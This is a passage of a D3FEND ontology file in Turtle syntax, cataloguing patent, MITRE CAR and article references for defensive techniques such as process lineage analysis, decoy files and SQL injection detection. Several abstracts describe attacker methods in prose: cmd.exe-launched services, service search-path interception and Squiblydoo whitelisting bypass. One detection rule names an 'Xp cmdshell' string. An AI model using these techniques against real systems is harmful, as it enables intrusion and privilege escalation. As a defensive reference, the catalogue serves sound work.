    d3f:kb-reference-title "Security Architecture for the Internet Protocol" .

d3f:Reference-SecurityConsiderationsForExchangingFilesOverTheInternet a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Security Considerations for Exchanging Files Over the Internet" ;
    d3f:has-link "https://csrc.nist.gov/files/pubs/shared/itlb/itlbul2020-08.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This Information Technology Laboratory (ITL) Bulletin provides recommendations from the National Institute of Standards and Technology (NIST) for securely exchanging files over the Internet. It also explores several of the technologies currently available for doing so to educate readers on options they have." ;
    d3f:kb-author "Karen Scarfone, Matt Scholl, and Murugiah Souppaya" ;
    d3f:kb-reference-of d3f:FileEncryption ;
    d3f:kb-reference-title "NIST ITL Bulletin August 2020 - Security Considerations for Exchanging Files Over the Internet" .

d3f:Reference-SecuritySystemWithMethodologyForInterprocessCommunicationControl_CheckPointSoftwareTechInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Security System with Methodology for Interprocess Communication Control - Check Point Software Tech Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20040199763"^^xsd:anyURI ;
    d3f:kb-abstract "A security system with methodology for interprocess communication control is described. In one embodiment, a method for controlling interprocess communication is provided that includes steps of: defining rules indicating which system services a given application can invoke; trapping an attempt by a particular application to invoke a particular system service; identifying the particular application that is attempting to invoke the particular system service; and based on identity of the particular application and on the rules indicating which system services a given application can invoke, blocking the attempt when the rules indicate that the particular application cannot invoke the particular system service." ;
    d3f:kb-author "Gregor Freund" ;
    d3f:kb-mitre-analysis "This patent describes a technique for monitoring interprocess communications to prevent malicious applications from requesting system services. API calls are monitored to detect malicious applications attempting to open a communication channel (port) to access system services or sending messages to other applications using user32 API functions. These requests are examined against an external rules engine or whitelist, matches deny or block access and produce an error message such as connection refused or service not available." ;
    d3f:kb-organization "Check Point Software Tech Inc" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "Security System with Methodology for Interprocess Communication Control" .

d3f:Reference-SecurityVulnerabilityInformationAggregation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Security vulnerability information aggregation" ;
    d3f:has-link "https://patents.google.com/patent/US8544098B2"^^xsd:anyURI ;
    d3f:kb-abstract "Security vulnerability information aggregation techniques are disclosed. Vulnerability information associated with one or more security vulnerabilities is obtained from multiple sources and aggregated into respective unified vulnerability definitions for the one or more security vulnerabilities. Aggregation may involve format conversion, content aggregation, or both in some embodiments. Unified vulnerability definitions may be distributed to vulnerability information consumers in accordance with consumer-specific policies. Storage of vulnerability information received from the sources may allow the aggregation process to be performed on existing vulnerability information “retro-actively”. Related data structures and Graphical User Interfaces (GUIs) are also disclosed." ;
    d3f:kb-author "Christophe Gustave, Stanley Taihai Chow, Douglas Wiemer" ;
    d3f:kb-organization "Nokia Technologies Oy" ;
    d3f:kb-reference-of d3f:AssetVulnerabilityEnumeration ;
    d3f:kb-reference-title "Security vulnerability information aggregation" .

d3f:Reference-ServiceBinaryModifications_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-02-001: Service Binary Modifications - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-02-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may modify the binary file for an existing service to achieve Persistence while potentially evading defenses. If a newly created or modified runs as a service, it may indicate APT activity. However, services are frequently installed by legitimate software. A well-tuned baseline is essential to differentiating between benign and malicious service modifications." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ServiceBinaryVerification ;
    d3f:kb-reference-title "CAR-2014-02-001: Service Binary Modifications" .

d3f:Reference-ServiceOutlierExecutables_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-09-005: Service Outlier Executables - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-09-005/"^^xsd:anyURI ;
    d3f:kb-abstract "New executables that are started as a service are suspicious. This analytic looks for anomalous service executables." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2013-09-005: Service Outlier Executables" .

d3f:Reference-ServiceSearchPathInterception_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-07-001: Service Search Path Interception - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-07-001/"^^xsd:anyURI ;
    d3f:kb-abstract "According to ATT&CK, an adversary may escalate privileges by intercepting the search path for legitimately installed services. As a result, Windows will launch the target executable instead of the desired binary and command line. This can be done when there are spaces in the binary path and the path is unquoted. Search path interception should never happen legitimately and will likely be the result of an adversary abusing a system misconfiguration. With a few regular expressions, it is possible to identify the execution of services with intercepted search paths." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2014-07-001: Service Search Path Interception" .

d3f:Reference-ServicesLaunchingCmd_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-05-002: Services launching Cmd - MITRE" ;
    d3f:has-link ""^^xsd:anyURI ;
    d3f:kb-abstract """Windows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed.

To survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. Thus, services are a convenient way for an adversary to gain Persistence and Privilege Escalation.""" ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2014-05-002: Services launching Cmd" .

d3f:Reference-SimultaneousLoginsOnAHost_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-02-008: Simultaneous Logins on a Host - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-02-008/"^^xsd:anyURI ;
    d3f:kb-abstract """Multiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed.

Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft's Audit Logon Events page.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-reference-of d3f:AuthenticationEventThresholding ;
    d3f:kb-reference-title "CAR-2013-02-008: Simultaneous Logins on a Host" .

d3f:Reference-SinkholingBadNetworkDomainsByRegisteringTheBadNetworkDomainsOnTheInternet_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Sinkholing bad network domains by registering the bad network domains on the internet - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160381065A1"^^xsd:anyURI ;
    d3f:kb-abstract "Techniques for sinkholing bad network domains by registering the bad network domains on the Internet are provided. In some embodiments, sinkholing bad network domains by registering the bad network domains on the Internet includes determining a network domain is a bad network domain, in which the bad network domain is determined to be associated with an identified malware (e.g., malware that has been identified and has been determined to be associated with the bad domain), and the bad network domain is sinkholed by registering the bad network domain with a sinkholed IP address; and identifying a host that is infected with the identified malware based on an attempt by the host to connect to the sinkholed IP address." ;
    d3f:kb-author "Huagang Xie; Wei Xu; Nir Zuk" ;
    d3f:kb-mitre-analysis "This patent describes a technique to identify bad domains that are associated with malware and sinkhole the bad domain. Bad domains are identified by receiving malware samples and executing the malware sample in a virtual execution environment to identify network domains that the malware sample attempts to connect to during execution. Network domains that are identified during malware execution are then generated into signatures to identity bad domains for other hosts. Once identified, the bad domains are sinkholed by translating the domain to a valid IP address that is associated with a device controlled by a cloud security provider." ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:DNSTrafficAnalysis ;
    d3f:kb-reference-title "Sinkholing bad network domains by registering the bad network domains on the internet" .

d3f:Reference-SiteIsolationDesignDocument a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Site Isolation Design Document" ;
    d3f:has-link "https://www.chromium.org/developers/design-documents/site-isolation/"^^xsd:anyURI ;
    d3f:kb-abstract "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "The Chromium Projects" ;
    d3f:kb-reference-of d3f:Application-basedProcessIsolation ;
    d3f:kb-reference-title "Site Isolation Design Document" .

d3f:Reference-Squiblydoo_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-04-003: Squiblydoo - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-04-003/"^^xsd:anyURI ;
    d3f:kb-abstract "Squiblydoo is a specific usage of regsvr32.dll to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It can be seen by looking for regsvr32.exe executions that load the scrobj.dll (which execute the COM scriptlet) or, if that is too noisy, those that also load content directly via HTTP or HTTPS." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2019-04-003: Squiblydoo" .

d3f:Reference-StackSmashingProtection_StackGuard_RedHat a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Security Technologies: Stack Smashing Protection (StackGuard) - Red Hat" ;
    d3f:has-link "https://access.redhat.com/blogs/766093/posts/3548631"^^xsd:anyURI ;
    d3f:kb-abstract "In our previous blog, we saw how arbitrary code execution resulting from stack-buffer overflows can be partly mitigated by marking segments of memory as non-executable, a technology known as Execshield. However stack-buffer overflow exploits can still effectively overwrite the function return address, which leads to several interesting exploitation techniques like ret2libc, ret2gets, and ret2plt. With all of these methods, the function return address is overwritten and attacker controlled code is executed when the program control transfers to overwritten address on the stack." ;
    d3f:kb-author "Huzaifa Sidhpurwala" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Red Hat" ;
    d3f:kb-reference-of d3f:StackFrameCanaryValidation ;
    d3f:kb-reference-title "Security Technologies: Stack Smashing Protection (StackGuard)" .

d3f:Reference-StreamingPhish a d3f:TechniqueReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - StreamingPhish" ;
    d3f:has-link "https://github.com/wesleyraptor/streamingphish"^^xsd:anyURI ;
    d3f:kb-abstract "This is a utility that uses supervised machine learning to detect phishing domains from the Certificate Transparency log network." ;
    d3f:kb-author "Wes Connell" ;
    d3f:kb-organization "Uber" ;
    d3f:kb-reference-of d3f:PassiveCertificateAnalysis ;
    d3f:kb-reference-title "StreamingPhish" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-SupplyChainCyber-deception_Cymmetria,Inc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Supply chain cyber-deception - Cymmetria, Inc." ;
    d3f:has-link "https://patents.google.com/patent/WO2017187379A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computer implemented method of detecting unauthorized access to a protected network from external endpoints, comprising monitoring, at a protected network, communication with one or more external endpoints using one or more access clients to access one or more of a plurality of resources of the protected networked, where one or more deception resources created in the protected network map one or more of the plurality of resources, detecting usage of data contained in one or more of a plurality of deception data objects deployed in the one or more access clients by monitoring an interaction triggered by one or more of the deception data objects with the one or more deception resources when used and identifying one or more potential unauthorized operations based on analysis of the detection." ;
    d3f:kb-author "Gadi EVRON; Dean SYSMAN; Imri Goldberg; Shmuel Ur" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Cymmetria, Inc." ;
    d3f:kb-reference-of d3f:DecoyFile ;
    d3f:kb-reference-title "Supply chain cyber-deception" .

d3f:Reference-SuspiciousArguments_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-07-001: Suspicious Arguments - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-07-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2013-07-001: Suspicious Arguments" .

d3f:Reference-SuspiciousRunLocations_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-05-002: Suspicious Run Locations - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-05-002/"^^xsd:anyURI ;
    d3f:kb-abstract "In Windows, files should never execute out of certain directory locations. Any of these locations may exist for a variety of reasons, and executables may be present in the directory but should not execute. As a result, some defenders make the mistake of ignoring these directories and assuming that a process will never run from one. There are known TTPs that have taken advantage of this fact to go undetected. This fact should inform defenders to monitor these directories more closely, knowing that they should never contain running processes." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2013-05-002: Suspicious Run Locations" .

d3f:Reference-SynchronizingAHoneyNetworkConfigurationToReflectATargetNetworkEnvironment_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Synchronizing a honey network configuration to reflect a target network environment - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170019425A1"^^xsd:anyURI ;
    d3f:kb-abstract "Techniques for synchronizing a honey network configuration to reflect a target network environment are disclosed. In some embodiments, a system for synchronizing a honey network configuration to reflect a target network environment includes a device profile data store that includes a plurality of attributes of each of a plurality of devices in the target network environment; a virtual machine (VM) image library that includes one or more VM images; and a virtual clone manager executed on a processor that instantiates a virtual clone of one or more devices in the target enterprise network using a VM image selected from the VM image library that is customized based on one or more attributes for a target device in the device profile data store." ;
    d3f:kb-author "Taylor Ettema, Huagang Xie" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:IntegratedHoneynet ;
    d3f:kb-reference-title "Synchronizing a honey network configuration to reflect a target network environment" .

d3f:Reference-SystemAndAMethodForIdentifyingThePresenceOfMalwareAndRansomwareUsingMini-trapsSetAtNetworkEndpoints_FidelisCybersecuritySolutionsInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and a method for identifying the presence of malware and ransomware using mini-traps set at network endpoints - Fidelis Cybersecurity Solutions Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9807115B2/en?oq=US-9807115-B2"^^xsd:anyURI ;
    d3f:kb-abstract "A system for identifying the presence of ransomware on a network, including a plurality of resources, interconnected to form a network and at least one decoy drive.The decoy drive includes a plurality of decoy files to be encrypted by the ransomware, and wherein the decoy drive continuously provides the decoy files thereby continuously occupying the ransomware." ;
    d3f:kb-author "Doron Kolton; Rami Mizrahi; Omer Zohar; Benny Ben-Rabi; Alex Barbalat; Shlomi Gabai" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Fidelis Cybersecurity Solutions Inc" ;
    d3f:kb-reference-of d3f:DecoyFile ;
    d3f:kb-reference-title "System and a method for identifying the presence of malware and ransomware using mini-traps set at network endpoints" .

d3f:Reference-SystemAndMethodForDetectingHomoglyphAttacksWithASiameseConvolutionalNeuralNetwork_EndgameInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for detecting homoglyph attacks with a siamese convolutional neural network - Endgame Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190019058A1/"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention utilizes computer vision technologies to identify potentially malicious URLs and executable files in a computing device. In one embodiment, a Siamese convolutional neural network is trained to identify the relative similarity between image versions of two strings of text. After the training process, a list of strings that are likely to be utilized in malicious attacks are provided (e.g., legitimate URLs for popular websites). When a new string is received, it is converted to an image and then compared against the image of list of strings. The relative similarity is determined, and if the similarity rating falls below a predetermined threshold, an alert is generated indicating that the string is potentially malicious." ;
    d3f:kb-author "Jonathan Woodbridge; Anjum Ahuja; Daniel Grant" ;
    d3f:kb-mitre-analysis "This patent describes a mechanism to detect homoglyph strings that involves training a Siamese convolutional neural network to compare images of strings. Strings of legitimate URLs for websites along with known suspicious stings are converted to images during the training process to create an index. New strings are converted to images and then compared to the index for similarity, if the string deviates beyond a threshold an alert is triggered." ;
    d3f:kb-organization "Endgame Inc" ;
    d3f:kb-reference-of d3f:HomoglyphDetection ;
    d3f:kb-reference-title "System and method for detecting homoglyph attacks with a siamese convolutional neural network" .

d3f:Reference-SystemAndMethodForDetectingMalwareInjectedIntoMemoryOfAComputingDevice_EndgameInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for detecting malware injected into memory of a computing device - Endgame Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190018958A1/en?oq=US20190018958-A1"^^xsd:anyURI ;
    d3f:kb-abstract "In the embodiments described herein, a malicious code detection module identifies potentially malicious instructions in memory of a computing device. The malicious code detection module examines the call stack for each thread running within the operating system of the computing device. Within each call stack, the malicious code detection module identifies the originating module for each stack frame and determines whether the originating module is backed by an image on disk. If an originating module is not backed by an image on disk, the thread containing that originating module is flagged as potentially malicious, execution of the thread optionally is suspended, and an alert is generated for the user or administrator." ;
    d3f:kb-author "Joseph W. Desimone" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Endgame Inc" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "System and method for detecting malware injected into memory of a computing device" .

d3f:Reference-SystemAndMethodForDetectionOfAChangeInBehaviorInTheUseOfAWebsiteThroughVectorVelocityAnalysis_SilverTailSystems a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and Method for Detection of a Change in Behavior in the Use of a Website Through Vector Velocity Analysis - Silver Tail Systems" ;
    d3f:has-link "https://patents.google.com/patent/US20100235909A1/en?oq=US+20100235909+A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system and software for identifying the change of user behavior on a website includes analyzing the actions of users on a website comprising a plurality of fields or input parameters that identify the actions performed on a website including fields related to previous actions by that user or other users of the website. The fields or input parameters are represented in a vector format where vectors represent different sessions of activity on the website, pages of the website, users of the website, or other attributes of the use of a website. Analysis is performed to determine if new sessions are similar or dissimilar to previously known sessions and if a session is converging or diverging from known sessions based on the velocity and direction of the velocity of the vectors in the vector space." ;
    d3f:kb-author "Mike Eynon; Laura Mather; Erik Westland; Jim Lloyd" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting fraudulent behavior on a website. Website behavior is mapped to build a multidimensional representation of user actions on a website that is updated as additional actions are recorded. Example actions on a website that are recorded include clicks by a user on the website and entering data into forms. Current behavior is compared against baseline recorded behavior and if current behavior deviates above a threshold, an alert is issued." ;
    d3f:kb-organization "Silver Tail Systems" ;
    d3f:kb-reference-of d3f:WebSessionActivityAnalysis ;
    d3f:kb-reference-title "System and Method for Detection of a Change in Behavior in the Use of a Website Through Vector Velocity Analysis" .

d3f:Reference-SystemAndMethodForInternetSecurity_CylanceInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for internet security - Cylance Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20120117644A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computer implemented method for preventing SQL injection attacks comprises intercepting a web request associated with a web service at a first software hook in a first web service execution context, persisting at least a portion of the intercepted web request in a storage location associated with the first software hook and accessible to at least one additional execution context, intercepting a database query generated by at least one web service processing operation at a second software hook associated with the execution of the query, wherein the query is generated in response to the intercepted web request and the second hook retrieves the persisted portion of the intercepted web request, comparing a portion of the persisted portion of the intercepted web request with at least a portion of the intercepted database query, and determining, prior to the query being executed, whether the query corresponds to a potential SQL injection attack." ;
    d3f:kb-author "Derek A. Soeder" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting SQL injection attacks. Software hooks are installed in a web service or application to intercept function calls, events, or messages that are passed between software components. Intercepted database queries associated with a web request are analyzed character by character and if it contains a character that would modify the syntax the query is rejected or sanitized. Security rules and policies may also determine rejection. For example, an administrator or developer may implement a rule that rejects any database query that is excessively long or that contains a particular string, such as \"Xp cmdshell\"." ;
    d3f:kb-organization "Cylance Inc" ;
    d3f:kb-reference-of d3f:DatabaseQueryStringAnalysis ;
    d3f:kb-reference-title "System and method for internet security" .

d3f:Reference-SystemAndMethodForNetworkSecurityIncludingDetectionOfAttacksThroughPartnerWebsites_EMCIPHoldingCoLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and Method for Network Security Including Detection of Attacks Through Partner Websites - EMC IP Holding Co LLC" ;
    d3f:has-link "https://patents.google.com/patent/US20110302653A1/en?oq=US+20110302653+A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computer readable storage medium has instructions for execution on a computer. The instructions monitor transactions between a server and a set of clients. An evaluation of session indicators associated with the transactions is performed. Individual sessions between the server and individual clients of the plurality of clients are isolated in response to the evaluation." ;
    d3f:kb-author "Matt Frantz; Andreas Wittenstein; Mike Eynon; Laura Mather; Jim Lloyd; James Schumacher; Duane Murphy" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting man-in-the-browser attacks. Current user session data is compared with the average user session that is based on collected data representing average values across all user sessions over a data-collection period. User session data includes average time between clicks and the order in which website pages are viewed. The comparisons are combined to generate a score that indicates the likelihood that the current session is a man-in-the-browser attack." ;
    d3f:kb-organization "EMC IP Holding Co LLC" ;
    d3f:kb-reference-of d3f:WebSessionActivityAnalysis ;
    d3f:kb-reference-title "System and Method for Network Security Including Detection of Attacks Through Partner Websites" .

d3f:Reference-SystemAndMethodForProcessHollowingDetection_CarbonBlackInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and Method for Process Hollowing Detection - Carbon Black Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170272462A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for remediating a process hollowing intrusion on a user device comprising detecting a process starting on the user device, preparing the process to monitor Application Programming Interface (API) calls between the process and an operating system of the user device, determining whether the process is associated with a process hollowing intrusion based on information associated with the process and/or the API calls, and executing security policies against the process associated with the process hollowing intrusion. In examples, it is determined whether the child process is associated with a process hollowing intrusion in response to determining whether one or more API calls associated with known process hollowing intrusions modify executable memory of and/or modify an entry point address of the child process." ;
    d3f:kb-author "Jeffrey Albin Kraemer, Paul Matthew Drapeau" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Carbon Black Inc" ;
    d3f:kb-reference-of d3f:ProcessSelf-ModificationDetection ;
    d3f:kb-reference-title "System and Method for Process Hollowing Detection" .

d3f:Reference-SystemAndMethodForProvidingAnActivelyInvalidatedClient-sideNetworkResourceCache_IMVU a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for providing an actively invalidated client-side network resource cache - IMVU" ;
    d3f:has-link "https://patents.google.com/patent/US9578081B2/en"^^xsd:anyURI ;
    d3f:kb-abstract "A system and method for providing an actively invalidated client-side network resource cache are disclosed. A particular embodiment includes: a client configured to request, for a client application, data associated with an identifier from a server; the server configured to provide the data associated with the identifier and to establish a queue associated with the identifier at a scalable message queuing system, the client being configured to subscribe to the queue at the scalable message queuing system to receive invalidation information associated with the data; the server being further configured to signal the queue of an invalidation event associated with the data; the scalable message queuing system being configured to convey information indicative of the invalidation event to the client; and the client being further configured to re-request the data associated with the identifier from the server upon receipt of the information indicative of the invalidation event." ;
    d3f:kb-author "Jon Watte" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "IMVU" ;
    d3f:kb-reference-of d3f:AuthenticationCacheInvalidation ;
    d3f:kb-reference-title "System and method for providing an actively invalidated client-side network resource cache" .

d3f:Reference-SystemAndMethodForProvidingAnonymousRemailingAndFilteringOfElectronicMail_Nokia a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for providing anonymous remailing and filtering of electronic mail - Nokia" ;
    d3f:has-link "https://patents.google.com/patent/JPH11161574A"^^xsd:anyURI ;
    d3f:kb-abstract "To make anonymous a sender name present on an actual transmission source address by including an alias transmission source address substitution unit and removing the actual transmission source address from an electronic mail message. SOLUTION: A hash value of the destination address of an electronic mail message is calculated (S330). Then, (n) blank bytes are added to a compressed actual transmission source address (S340). The true length of the actual transmission source address is hidden by adding blank bytes. Further, a 2nd bit field is added to a secret key saved locally in a remailer, and an extended secret key characteristic of the destination address is generated. Then, the compressed actual transmission source address is ciphered according to the data ciphering standards using the extended secret key characteristic of the destination address as a cipher key (S350). Further, the 2nd bit field is added to the ciphered and compressed actual transmission source address (S360)." ;
    d3f:kb-author "Eran Gabber, Phillip B Gibbons, David Morris Kristol, Yossi Matias, Alain J Mayer" ;
    d3f:kb-organization "Nokia of America Corp" ;
    d3f:kb-reference-of d3f:EmailFiltering ;
    d3f:kb-reference-title "System and method for providing anonymous remailing and filtering of electronic mail" .

d3f:Reference-SystemAndMethodForScanningRemoteServicesToLocateStoredObjectsWithMalware a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for scanning remote services to locate stored objects with malware" ;
    d3f:has-link "https://patents.google.com/patent/US11368475B1/"^^xsd:anyURI ;
    d3f:kb-abstract "A system and method for retrieval and analysis of stored objects for malware is described. The method involves receiving a scan request message from a customer to conduct analytics on one or more objects stored within a third-party controlled service. In response to receipt of the scan request message, the system generates a redirect message. The redirect message redirects the customer to an authentication portal of the third-party controlled service operating as a logon page and configures receipt by the system of access credentials for the third-party controlled service upon verification of the customer. Using the access credentials, the system is able to retrieve the one or more objects using the access credentials and performing analytics on each object of the one or more objects to classify each object as malicious or benign." ;
    d3f:kb-author "Sai Vashisht" ;
    d3f:kb-organization "Mandiant Inc, FireEye Security Holdings US LLC" ;
    d3f:kb-reference-of d3f:EmailRemoval ;
    d3f:kb-reference-title "System and method for scanning remote services to locate stored objects with malware" .

d3f:Reference-SystemAndMethodForStrategicAntiMalwareMonitoring a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for strategic anti-malware monitoring - Tenable" ;
    d3f:has-link "https://patentimages.storage.googleapis.com/d9/02/31/3a28fefc73661d/US20230362189A1.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "The system and method described herein may leverage active network scanning and passive network monitoring to provide strategic anti-malware monitoring in a network. In particular, the system and method described herein may remotely connect to managed hosts in a network to compute hashes or other signatures associated with processes running thereon and suspicious files hosted thereon, wherein the hashes may communicated to a cloud database that aggregates all known virus or malware signatures that various anti-virus vendors have catalogued to detect malware infections without requiring the hosts to have a local or resident anti-virus agent. Furthermore, running processes and file system activity may be monitored in the network to further detect malware infections. Additionally, the network scanning and network monitoring may be used to detect hosts that may potentially be participating in an active botnet or hosting botnet content and audit anti-virus strategies deployed in the network." ;
    d3f:kb-author "Marcus J. Ranum, Ron Gula" ;
    d3f:kb-organization "Tenable Inc" ;
    d3f:kb-reference-of d3f:NetworkTrafficSignatureAnalysis ;
    d3f:kb-reference-title "System and method for strategic anti-malware monitoring" .

d3f:Reference-SystemAndMethodForValidatingIn-memoryIntegrityOfExecutableFilesToIdentifyMaliciousActivity_EndgameInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for validating in-memory integrity of executable files to identify malicious activity - Endgame Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190018962A1/en?oq=15648887"^^xsd:anyURI ;
    d3f:kb-abstract "In the embodiments described herein, a malicious code detection module identifies potentially malicious instructions in volatile memory of a computing device before the instructions are executed. The malicious code detection module identifies an executable file, such as an .exe file, in memory, validates one or more components of the executable file against the same file stored in non-volatile storage, and issues an alert if the validation fails." ;
    d3f:kb-author "Joseph W. Desimone" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Endgame Inc" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "System and method for validating in-memory integrity of executable files to identify malicious activity" .

d3f:Reference-SystemAndMethodForVulnerabilityRiskAssessment a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for vulnerability risk analysis" ;
    d3f:has-link "https://patents.google.com/patent/US9317692B2"^^xsd:anyURI ;
    d3f:kb-abstract "Embodiments of the present invention are directed to a method and system for automated risk analysis. The method includes accessing host configuration information of a host and querying a vulnerability database based on the host configuration information. The method further includes receiving a list of vulnerabilities and accessing a plurality of vulnerability scores. The list of vulnerabilities corresponds to vulnerabilities of the host. Vulnerabilities can be removed from the list based on checking for installed fixes corresponding to vulnerability. A composite risk score can then be determined for the host a nd each software product of the host based on the plurality of vulnerability scores. An aggregate risk score can then be determined for the host and each software product of the host based on the plurality of vulnerability scores." ;
